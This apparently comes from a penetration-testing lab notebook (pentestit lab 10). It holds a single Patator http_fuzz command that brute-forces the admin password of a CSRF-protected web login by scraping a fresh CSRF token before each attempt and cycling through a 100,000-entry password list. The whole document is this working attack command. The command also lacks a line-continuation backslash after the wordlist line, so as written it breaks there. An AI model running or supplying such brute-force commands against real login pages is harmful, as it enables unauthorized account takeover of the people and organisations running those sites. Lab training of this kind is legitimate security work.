Patator brute for CSRF protected login form in pentestit.lab10

patator_CSRF

patator http_fuzz \
    url="http://192.168.101.10:88/index.php?module=Users&action=Login" \
    body='__vtrftk=_CSRF_&username=admin&password=FILE0' \
    0="~/SecLists/Passwords/10_million_password_list_top_100000.txt"
    method=POST \
    accept_cookie=1 \
    follow=1 \
    --threads 1 \
    timeout=60 \
    timeout_tcp=60 \
    header='Cookie: PHPSESSID=25a0d95f595e31367632a' \
    before_urls="http://192.168.101.10:88/index.php?module=Users&action=Login" \
    before_header='Cookie: PHPSESSID=25a0d95f595e31367632a' \
    before_egrep='_CSRF_:(?<=csrfMagicToken = ")(.*?)(?=;)' \
    -x ignore:fgrep="Invalid username or password"